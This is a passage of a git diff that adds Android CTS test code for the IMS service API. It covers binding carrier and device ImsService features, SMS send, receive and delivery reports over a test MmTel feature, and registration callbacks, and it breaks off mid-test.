+ TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE + COMMAND_ENABLE_IMS
+ + COMMAND_SLOT_IDENTIFIER + slot);
+ }
+
+ void disableImsService(int slot) throws Exception {
+ TelephonyUtils.executeShellCommand(mInstrumentation, COMMAND_BASE + COMMAND_DISABLE_IMS
+ + COMMAND_SLOT_IDENTIFIER + slot);
+ }
+
+ TestImsService getCarrierService() {
+ return mCarrierService;
+ }
+
+ ITestExternalImsService getExternalService() {
+ return mExternalService;
+ }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
new file mode 100644
index 0000000..1772152
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/ims/cts/ImsServiceTest.java
@@ -0,0 +1,1235 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.ims.cts;
+
+import static junit.framework.Assert.assertFalse;
+import static junit.framework.Assert.assertNotNull;
+import static junit.framework.Assert.assertNull;
+import static junit.framework.Assert.assertTrue;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.fail;
+
+import android.app.Activity;
+import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.PersistableBundle;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SmsManager;
+import android.telephony.SmsMessage;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.telephony.cts.AsyncSmsMessageListener;
+import android.telephony.cts.SmsReceiverHelper;
+import android.telephony.cts.externalimsservice.ITestExternalImsService;
+import android.telephony.ims.ImsException;
+import android.telephony.ims.ImsManager;
+import android.telephony.ims.ImsMmTelManager;
+import android.telephony.ims.ImsRcsManager;
+import android.telephony.ims.ImsReasonInfo;
+import android.telephony.ims.ProvisioningManager;
+import android.telephony.ims.RegistrationManager;
+import android.telephony.ims.feature.ImsFeature;
+import android.telephony.ims.feature.MmTelFeature;
+import android.telephony.ims.feature.RcsFeature.RcsImsCapabilities;
+import android.telephony.ims.stub.ImsFeatureConfiguration;
+import android.telephony.ims.stub.ImsRegistrationImplBase;
+import android.util.Base64;
+import android.util.Pair;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * CTS tests for ImsService API.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ImsServiceTest {
+
+ private static ImsServiceConnector sServiceConnector;
+
+ private static final int RCS_CAP_NONE = RcsImsCapabilities.CAPABILITY_TYPE_NONE;
+ private static final int RCS_CAP_OPTIONS = RcsImsCapabilities.CAPABILITY_TYPE_OPTIONS_UCE;
+ private static final int RCS_CAP_PRESENCE = RcsImsCapabilities.CAPABILITY_TYPE_PRESENCE_UCE;
+
+ private static final String MSG_CONTENTS = "hi";
+ private static final String EXPECTED_RECEIVED_MESSAGE = "foo5";
+ private static final String DEST_NUMBER = "5555554567";
+ private static final String SRC_NUMBER = "5555551234";
+ private static final byte[] EXPECTED_PDU =
+ new byte[]{1, 0, 10, -127, 85, 85, 85, 33, 67, 0, 0, 2, -24, 52};
+ private static final String RECEIVED_MESSAGE = "B5EhYBMDIPgEC5FhBWKFkPEAAEGQQlGDUooE5ve7Bg==";
+ private static final byte[] STATUS_REPORT_PDU =
+ hexStringToByteArray("0006000681214365919061800000639190618000006300");
+
+ private static int sTestSlot = 0;
+ private static int sTestSub = SubscriptionManager.INVALID_SUBSCRIPTION_ID;
+
+ private static final int TEST_CONFIG_KEY = 1000;
+ private static final int TEST_CONFIG_VALUE_INT = 0xDEADBEEF;
+ private static final String TEST_CONFIG_VALUE_STRING = "DEADBEEF";
+
+ private static CarrierConfigReceiver sReceiver;
+
+ private static class CarrierConfigReceiver extends BroadcastReceiver {
+ private CountDownLatch mLatch = new CountDownLatch(1);
+ private final int mSubId;
+
+ CarrierConfigReceiver(int subId) {
+ mSubId = subId;
+ }
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+ int subId = intent.getIntExtra(CarrierConfigManager.EXTRA_SUBSCRIPTION_INDEX, -1);
+ if (mSubId == subId) {
+ mLatch.countDown();
+ }
+ }
+ }
+
+ void clearQueue() {
+ mLatch = new CountDownLatch(1);
+ }
+
+ void waitForCarrierConfigChanged() throws Exception {
+ mLatch.await(5000, TimeUnit.MILLISECONDS);
+ }
+ }
+
+ @BeforeClass
+ public static void beforeAllTests() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ TelephonyManager tm = (TelephonyManager) getContext()
+ .getSystemService(Context.TELEPHONY_SERVICE);
+ sTestSub = ImsUtils.getPreferredActiveSubId();
+ sTestSlot = SubscriptionManager.getSlotIndex(sTestSub);
+ if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+ return;
+ }
+ sServiceConnector = new ImsServiceConnector(InstrumentationRegistry.getInstrumentation());
+ // Remove all live ImsServices until after these tests are done
+ sServiceConnector.clearAllActiveImsServices(sTestSlot);
+ // Configure SMS receiver based on the Android version.
+ sServiceConnector.setDefaultSmsApp();
+
+ sReceiver = new CarrierConfigReceiver(sTestSub);
+ IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+ // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
+ InstrumentationRegistry.getInstrumentation().getContext()
+ .registerReceiver(sReceiver, filter);
+ }
+
+ @AfterClass
+ public static void afterAllTests() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Restore all ImsService configurations that existed before the test.
+ if (sServiceConnector != null) {
+ sServiceConnector.disconnectServices();
+ }
+ sServiceConnector = null;
+
+ // Ensure there are no CarrierConfig overrides as well as reset the ImsResolver in case the
+ // ImsService override changed in CarrierConfig while we were overriding it.
+ overrideCarrierConfig(null);
+
+ if (sReceiver != null) {
+ InstrumentationRegistry.getInstrumentation().getContext().unregisterReceiver(sReceiver);
+ sReceiver = null;
+ }
+ }
+
+ @Before
+ public void beforeTest() {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ TelephonyManager tm = (TelephonyManager) InstrumentationRegistry.getInstrumentation()
+ .getContext().getSystemService(Context.TELEPHONY_SERVICE);
+ if (tm.getSimState(sTestSlot) != TelephonyManager.SIM_STATE_READY) {
+ fail("This test requires that there is a SIM in the device!");
+ }
+ }
+
+ @After
+ public void afterTest() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Unbind the GTS ImsService after the test completes.
+ if (sServiceConnector != null) {
+ sServiceConnector.disconnectCarrierImsService();
+ sServiceConnector.disconnectDeviceImsService();
+ }
+ }
+
+ @Test
+ public void testCarrierImsServiceBindRcsFeature() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS);
+ assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+ sServiceConnector.getCarrierService().getRcsFeature());
+ }
+
+ @Test
+ public void testCarrierImsServiceBindMmTelFeature() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the MmTel feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL);
+ assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+ sServiceConnector.getCarrierService().getMmTelFeature());
+ }
+
+ @Test
+ public void testCarrierImsServiceBindRcsFeatureEnableDisableIms() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS));
+
+ //Enable IMS and ensure that we receive the call to enable IMS in the ImsService.
+ sServiceConnector.enableImsService(sTestSlot);
+ // Wait for command in ImsService
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_ENABLE_IMS));
+ assertTrue(sServiceConnector.getCarrierService().isEnabled());
+
+ //Disable IMS and ensure that we receive the call to enable IMS in the ImsService.
+ sServiceConnector.disableImsService(sTestSlot);
+ // Wait for command in ImsService
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_DISABLE_IMS));
+ assertFalse(sServiceConnector.getCarrierService().isEnabled());
+ }
+
+ @Test
+ public void testCarrierImsServiceBindRcsChangeToMmtel() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS));
+
+ // Change the supported feature to MMTEl
+ sServiceConnector.getCarrierService().getImsService().onUpdateSupportedImsFeatures(
+ new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL).build());
+
+ // createMmTelFeature should be called.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ }
+
+ @Test
+ public void testCarrierImsServiceBindMmTelNoEmergency() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the MMTEL feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ }
+
+ @Test
+ public void testCarrierImsServiceBindMmTelEmergencyEnabled() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the MMTEL feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+ .build()));
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ }
+
+ @Test
+ public void testDeviceImsServiceBindRcsFeature() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+ // The RcsFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS));
+ // Make sure the RcsFeature was created in the test service.
+ assertTrue("Device ImsService created, but TestDeviceImsService#createRcsFeature was not"
+ + "called!", sServiceConnector.getExternalService().isRcsFeatureCreated());
+ }
+
+ @Test
+ public void testBindDeviceAndCarrierDifferentFeatures() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to Device the ImsService with the MMTEL/EMERGENCY_MMTEL feature.
+ assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+ // Connect to Device the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+ // The MmTelFeature is created when the ImsService is bound. If it wasn't created, then the
+ // Framework did not call it.
+ assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ // Make sure the MmTelFeature was created in the test service.
+ assertTrue("Device ImsService created, but TestDeviceImsService#createMmTelFeature was"
+ + "not called!", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS));
+ assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+ sServiceConnector.getCarrierService().getRcsFeature());
+ }
+
+ @Test
+ public void testBindDeviceAndCarrierSameFeature() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to Device the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+
+ //First MMTEL feature is created on device ImsService.
+ assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ assertTrue("Device ImsService created, but TestDeviceImsService#createMmTelFeature was "
+ + "not called!", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+ // Connect to Device the ImsService with the MMTEL feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+ .build()));
+
+ // Next MMTEL feature is created on carrier ImsService (and unbound on device)
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+ sServiceConnector.getCarrierService().getMmTelFeature());
+
+ // Ensure that the MmTelFeature was removed on the device ImsService.
+ assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_REMOVE_MMTEL));
+ assertFalse("Device ImsService was never removed when carrier ImsService took MMTEL."
+ + "feature.", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+ }
+
+ @Test
+ public void testBindDeviceAndCarrierUpdateToSameFeature() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // Connect to Device the ImsService with the MMTEL feature.
+ assertTrue(sServiceConnector.connectDeviceImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .build()));
+
+ //First MMTEL feature is created on device ImsService.
+ assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ assertTrue("Device ImsService created, but TestDeviceImsService#createMmTelFeature was"
+ + "not called!", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+ // Connect to Device the ImsService with the RCS feature.
+ assertTrue(sServiceConnector.connectCarrierImsService(new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_RCS)
+ .build()));
+
+ // Next Rcs feature is created on carrier ImsService
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_RCS));
+ assertNotNull("ImsService created, but ImsService#createRcsFeature was not called!",
+ sServiceConnector.getCarrierService().getRcsFeature());
+
+ // Change the supported feature to MMTEl
+ sServiceConnector.getCarrierService().getImsService().onUpdateSupportedImsFeatures(
+ new ImsFeatureConfiguration.Builder()
+ .addFeature(sTestSlot, ImsFeature.FEATURE_MMTEL)
+ .addFeature(sTestSlot, ImsFeature.FEATURE_EMERGENCY_MMTEL)
+ .build());
+
+ // MMTEL feature is created on carrier ImsService
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_CREATE_MMTEL));
+ assertNotNull("ImsService created, but ImsService#createMmTelFeature was not called!",
+ sServiceConnector.getCarrierService().getMmTelFeature());
+
+ // Ensure that the MmTelFeature was removed on the device ImsService.
+ assertTrue(sServiceConnector.getExternalService().waitForLatchCountdown(
+ TestImsService.LATCH_REMOVE_MMTEL));
+ assertFalse("Device ImsService was never removed when carrier ImsService took MMTEL."
+ + "feature.", sServiceConnector.getExternalService().isMmTelFeatureCreated());
+
+ // Ensure that the RcsFeature was removed on the carrier ImsService.
+ assertTrue(sServiceConnector.getCarrierService().waitForLatchCountdown(
+ TestImsService.LATCH_REMOVE_RCS));
+ assertNull(sServiceConnector.getCarrierService().getRcsFeature());
+ }
+
+ @Test
+ public void testMmTelSendSms() throws Exception {
+ if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+ return;
+ }
+
+ setupImsServiceForSms();
+ // Send Message with sent PendingIntent requested
+ SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+ DEST_NUMBER, MSG_CONTENTS, SmsReceiverHelper.getMessageSentPendingIntent(
+ InstrumentationRegistry.getInstrumentation().getTargetContext()), null);
+ assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+ .getSmsImplementation().waitForMessageSentLatch());
+
+ // Wait for send PendingIntent
+ Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageSentIntent(
+ ImsUtils.TEST_TIMEOUT_MS);
+ assertNotNull("SMS send PendingIntent never received", intent);
+ assertEquals("SMS send PendingIntent should have result RESULT_OK",
+ Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+ Activity.RESULT_CANCELED));
+
+ // Ensure we receive correct PDU on the other side.
+ Assert.assertArrayEquals(EXPECTED_PDU, sServiceConnector.getCarrierService()
+ .getMmTelFeature().getSmsImplementation().sentPdu);
+ }
+
+ @Test
+ public void testMmTelSendSmsDeliveryReportQCompat() throws Exception {
+ if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+ return;
+ }
+
+ setupImsServiceForSms();
+ // Send Message with sent PendingIntent requested
+ SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+ DEST_NUMBER, MSG_CONTENTS, null, SmsReceiverHelper.getMessageDeliveredPendingIntent(
+ InstrumentationRegistry.getInstrumentation().getTargetContext()));
+ assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+ .getSmsImplementation().waitForMessageSentLatch());
+
+ // Ensure we receive correct PDU on the other side.
+ // Set TP-Status-Report-Request bit as well for this case.
+ byte[] pduWithStatusReport = EXPECTED_PDU.clone();
+ pduWithStatusReport[0] |= 0x20;
+ Assert.assertArrayEquals(pduWithStatusReport, sServiceConnector.getCarrierService()
+ .getMmTelFeature().getSmsImplementation().sentPdu);
+
+ // Ensure the API works on Q as well as in R+, where it was deprecated.
+ sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+ .sendReportWaitForAcknowledgeSmsReportPQ(0, SmsMessage.FORMAT_3GPP,
+ STATUS_REPORT_PDU);
+
+ // Wait for delivered PendingIntent
+ Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageDeliveredIntent(
+ ImsUtils.TEST_TIMEOUT_MS);
+ assertNotNull("SMS delivered PendingIntent never received", intent);
+ assertEquals("SMS delivered PendingIntent should have result RESULT_OK",
+ Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+ Activity.RESULT_CANCELED));
+ }
+
+ @Test
+ public void testMmTelSendSmsDeliveryReportR() throws Exception {
+ if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+ return;
+ }
+
+ setupImsServiceForSms();
+ // Send Message with sent PendingIntent requested
+ SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+ DEST_NUMBER, MSG_CONTENTS, null, SmsReceiverHelper.getMessageDeliveredPendingIntent(
+ InstrumentationRegistry.getInstrumentation().getTargetContext()));
+ assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+ .getSmsImplementation().waitForMessageSentLatch());
+
+ // Ensure we receive correct PDU on the other side.
+ // Set TP-Status-Report-Request bit as well for this case.
+ byte[] pduWithStatusReport = EXPECTED_PDU.clone();
+ pduWithStatusReport[0] |= 0x20;
+ Assert.assertArrayEquals(pduWithStatusReport, sServiceConnector.getCarrierService()
+ .getMmTelFeature().getSmsImplementation().sentPdu);
+
+ sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+ .sendReportWaitForAcknowledgeSmsReportR(123456789, SmsMessage.FORMAT_3GPP,
+ STATUS_REPORT_PDU);
+
+ // Wait for delivered PendingIntent
+ Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageDeliveredIntent(
+ ImsUtils.TEST_TIMEOUT_MS);
+ assertNotNull("SMS delivered PendingIntent never received", intent);
+ assertEquals("SMS delivered PendingIntent should have result RESULT_OK",
+ Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+ Activity.RESULT_CANCELED));
+ }
+
+ @Test
+ public void testMmTelSendSmsRSuccess() throws Exception {
+ if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+ return;
+ }
+
+ setupImsServiceForSms();
+
+ // Send Message
+ SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+ DEST_NUMBER, MSG_CONTENTS, SmsReceiverHelper.getMessageSentPendingIntent(
+ InstrumentationRegistry.getInstrumentation().getTargetContext()), null);
+ // Use R specific API for sending SMS result
+ assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+ .getSmsImplementation().waitForMessageSentLatchSuccess());
+ Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageSentIntent(
+ ImsUtils.TEST_TIMEOUT_MS);
+ assertNotNull(intent);
+ assertEquals(Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+ Activity.RESULT_CANCELED));
+
+ // Ensure we receive correct PDU on the other side.
+ Assert.assertArrayEquals(EXPECTED_PDU, sServiceConnector.getCarrierService()
+ .getMmTelFeature().getSmsImplementation().sentPdu);
+ }
+
+ @Test
+ public void testMmTelSendSmsNetworkError() throws Exception {
+ if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+ return;
+ }
+
+ setupImsServiceForSms();
+
+ // Send Message
+ SmsManager.getSmsManagerForSubscriptionId(sTestSub).sendTextMessage(SRC_NUMBER,
+ DEST_NUMBER, MSG_CONTENTS, SmsReceiverHelper.getMessageSentPendingIntent(
+ InstrumentationRegistry.getInstrumentation().getContext()), null);
+ assertTrue(sServiceConnector.getCarrierService().getMmTelFeature()
+ .getSmsImplementation().waitForMessageSentLatchError(
+ SmsManager.RESULT_ERROR_GENERIC_FAILURE, 41));
+ Intent intent = AsyncSmsMessageListener.getInstance().waitForMessageSentIntent(
+ ImsUtils.TEST_TIMEOUT_MS);
+ assertNotNull(intent);
+ // In the case of error, the PendingIntent result will not report OK
+ assertNotEquals(Activity.RESULT_OK, intent.getIntExtra(SmsReceiverHelper.EXTRA_RESULT_CODE,
+ Activity.RESULT_OK));
+ // make sure the "errorCode" extra contains the network error code returned by the
+ // ImsService.
+ assertEquals(41, intent.getIntExtra("errorCode", 0));
+
+ // Ensure we receive correct PDU on the other side.
+ Assert.assertArrayEquals(EXPECTED_PDU, sServiceConnector.getCarrierService()
+ .getMmTelFeature().getSmsImplementation().sentPdu);
+ }
+
+ @Test
+ public void testMmTelReceiveSms() throws Exception {
+ if (!ImsUtils.shouldRunSmsImsTests(sTestSub)) {
+ return;
+ }
+
+ setupImsServiceForSms();
+
+ // Message received
+ sServiceConnector.getCarrierService().getMmTelFeature().getSmsImplementation()
+ .receiveSmsWaitForAcknowledge(123456789, SmsMessage.FORMAT_3GPP,
+ Base64.decode(RECEIVED_MESSAGE, Base64.DEFAULT));
+
+ // Wait for SMS received intent and ensure it is correct.
+ String receivedMessage = AsyncSmsMessageListener.getInstance()
+ .waitForSmsMessage(ImsUtils.TEST_TIMEOUT_MS);
+ assertEquals(EXPECTED_RECEIVED_MESSAGE, receivedMessage);
+ }
+
+ @Test
+ public void testGetFeatureState() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+ // This will set feature state to ready
+ triggerFrameworkConnectToCarrierImsService();
+
+ Integer result = getFeatureState();
+ assertNotNull(result);
+
+ assertTrue("ImsService state is ready, but STATE_READY is not reported.",
+ ImsUtils.retryUntilTrue(() -> (getFeatureState() == ImsFeature.STATE_READY)));
+
+ sServiceConnector.getCarrierService().getMmTelFeature().setFeatureState(
+ ImsFeature.STATE_INITIALIZING);
+ result = getFeatureState();
+ assertNotNull(result);
+ assertTrue("ImsService state is initializing, but STATE_INITIALIZING is not reported.",
+ ImsUtils.retryUntilTrue(
+ () -> (getFeatureState() == ImsFeature.STATE_INITIALIZING)));
+
+ sServiceConnector.getCarrierService().getMmTelFeature().setFeatureState(
+ ImsFeature.STATE_UNAVAILABLE);
+ result = getFeatureState();
+ assertNotNull(result);
+ assertTrue("ImsService state is unavailable, but STATE_UNAVAILABLE is not reported.",
+ ImsUtils.retryUntilTrue(
+ () -> (getFeatureState() == ImsFeature.STATE_UNAVAILABLE)));
+ }
+
+ private Integer getFeatureState() throws Exception {
+ ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ LinkedBlockingQueue<Integer> state = new LinkedBlockingQueue<>(1);
+ ShellIdentityUtils.invokeThrowableMethodWithShellPermissionsNoReturn(mmTelManager,
+ (m) -> m.getFeatureState(Runnable::run, state::offer), ImsException.class);
+ return state.poll(ImsUtils.TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+
+ @Test
+ public void testMmTelManagerRegistrationCallback() throws Exception {
+ if (!ImsUtils.shouldTestImsService()) {
+ return;
+ }
+
+ triggerFrameworkConnectToCarrierImsService();
+
+ // Start deregistered
+ sServiceConnector.getCarrierService().getImsRegistration().onDeregistered(
+ new ImsReasonInfo(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED,
+ ImsReasonInfo.CODE_UNSPECIFIED, ""));
+
+ // This is a little bit gross looking, but on P devices, I can not define classes that
+ // extend ImsMmTelManager.RegistrationCallback (because it doesn't exist), so this has to
+ // happen as an anon class here.
+ LinkedBlockingQueue<Integer> mQueue = new LinkedBlockingQueue<>();
+ // Deprecated in R, see testMmTelManagerRegistrationCallbackR below.
+ ImsMmTelManager.RegistrationCallback callback = new ImsMmTelManager.RegistrationCallback() {
+ @Override
+ public void onRegistered(int imsTransportType) {
+ mQueue.offer(imsTransportType);
+ }
+
+ @Override
+ public void onRegistering(int imsTransportType) {
+ mQueue.offer(imsTransportType);
+ }
+
+ @Override
+ public void onUnregistered(ImsReasonInfo info) {
+ mQueue.offer(info.getCode());
+ }
+
+ @Override
+ public void onTechnologyChangeFailed(int imsTransportType, ImsReasonInfo info) {
+ mQueue.offer(imsTransportType);
+ mQueue.offer(info.getCode());
+ }
+ };
+
+ final UiAutomation automan = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ // Latch will count down here (we callback on the state during registration).
+ try {
+ automan.adoptShellPermissionIdentity();
+ ImsMmTelManager mmTelManager = ImsMmTelManager.createForSubscriptionId(sTestSub);
+ mmTelManager.registerImsRegistrationCallback(getContext().getMainExecutor(), callback);
+ } finally {
+ automan.dropShellPermissionIdentity();
+ }
+ assertEquals(ImsReasonInfo.CODE_LOCAL_NOT_REGISTERED, waitForIntResult(mQueue));
+
+
+ // Start registration
+ sServiceConnector.getCarrierService().getImsRegistration().onRegistering(
+ ImsRegistrationImplBase.REGISTRATION_TECH_LTE);
